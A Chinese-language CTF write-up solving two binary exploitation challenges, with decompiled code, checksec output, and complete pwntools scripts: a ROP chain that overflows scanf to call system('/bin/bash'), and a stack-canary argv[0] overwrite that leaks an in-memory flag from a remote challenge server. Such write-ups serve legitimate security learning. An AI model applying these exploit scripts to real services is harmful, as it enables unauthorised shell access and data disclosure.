红帽 CTF PWN1/PWN5 writeup
PWN 1
开启 NX:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA F5 大法,scanf 可以越界写:
int __cdecl main()
{
int v1; // [sp+18h] [bp-28h]@1
puts("pwn test");
fflush(stdout);
__isoc99_scanf("%s", &v1);
printf("%s", &v1);
return 1;
}
EXP 写完发现服务器上开了 ASLR(肯定因为我脸黑。改用方式:
- 程序引用了 system 函数,使用 PLT 作为返回地址
- 往 BBS 区域写 /bin/bash 字符串
构造 ROP 链:
#!/usr/bin/env python
from pwn import *
system_addr = 0x080483e0
bash_addr = 0x0804a040
scanf_addr = 0x08048410
format_addr = 0x08048629
ppr = 0x080485ee # pop; pop; ret;
#p = process('./pwn1_c1d0173e20a08feff046c8433f53fd37')
p = remote('106.75.93.221', 10000)
payload = 'A' * 52 + p32(scanf_addr) + p32(ppr) + p32(format_addr) + p32(bash_addr)
payload += p32(system_addr) + p32(0xdeafbeef) + p32(bash_addr)
p.send(payload)
p.send('/bin/bash')
p.interactive()
PWN 5
载入 GDB 发现开启了 Stack Guard:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
IDA 载入,首先读取 flag 文件到全局变量中:
int __cdecl main(int argc, const char **argv, const char **envp)
{
// ...
v3 = fopen("/home/pwn6/data.txt", "r");
fread(flag, 1u, 50u, v3);
// ...
}
进入 vul 函数:
signed int vul()
{
signed int result; // [email protected]
int v1; // [email protected]
char s; // [sp+10h] [bp-48h]@1
int v3; // [sp+4Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
puts("input something");
gets(&s);
if ( !strcmp(&s, flag) )
printf("WellDone!", flag);
result = 1;
v1 = *MK_FP(__GS__, 20) ^ v3;
return result;
}
可见 gets 没有限制大小,可以直接覆盖缓冲区。但是由于开启了 Stack Guard,而且没有方法可以 leak canary 的值,无法直接控制 EIP。
尝试执行程序:
[email protected]:~# ./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a
input something
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: ./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a terminated
Aborted
发现溢出时会打印程序名称,而文件名由 argv[0]
传入。由于 flag 已经读入到内存中,可以尝试覆盖 argv[0]
为 flag 地址。
尝试获取覆盖位置:
from pwn import *
from subprocess import Popen, PIPE
flag_addr = 0x0804A080
for i in range(1, 500):
p = Popen(['sh', '-c', './pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a'], stdin=PIPE, stdout=PIPE)
p.stdin.write('A' * i + p32(flag_addr))
print i, p.communicate()[0]
可能是我脸黑,无法从管道读取 stack smashing 信息,所以只能肉眼查看 (错误信息可能没通过该进程管道写):
从 276 成功对齐覆盖(flag1flag2… 是本地测试文件的内容),可能由于环境变量差异原因,远程进程的偏移地址和本地测试不同,计算后获取 flag:
fucksss.py:
#!/usr/bin/env python
from pwn import *
from time import sleep
flag_addr = 0x0804A080
for i in range(292, 293):
#p=process('./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a')
p = remote('106.75.93.221', 10003)
p.send('A'*i + p32(flag_addr))
p.interactive()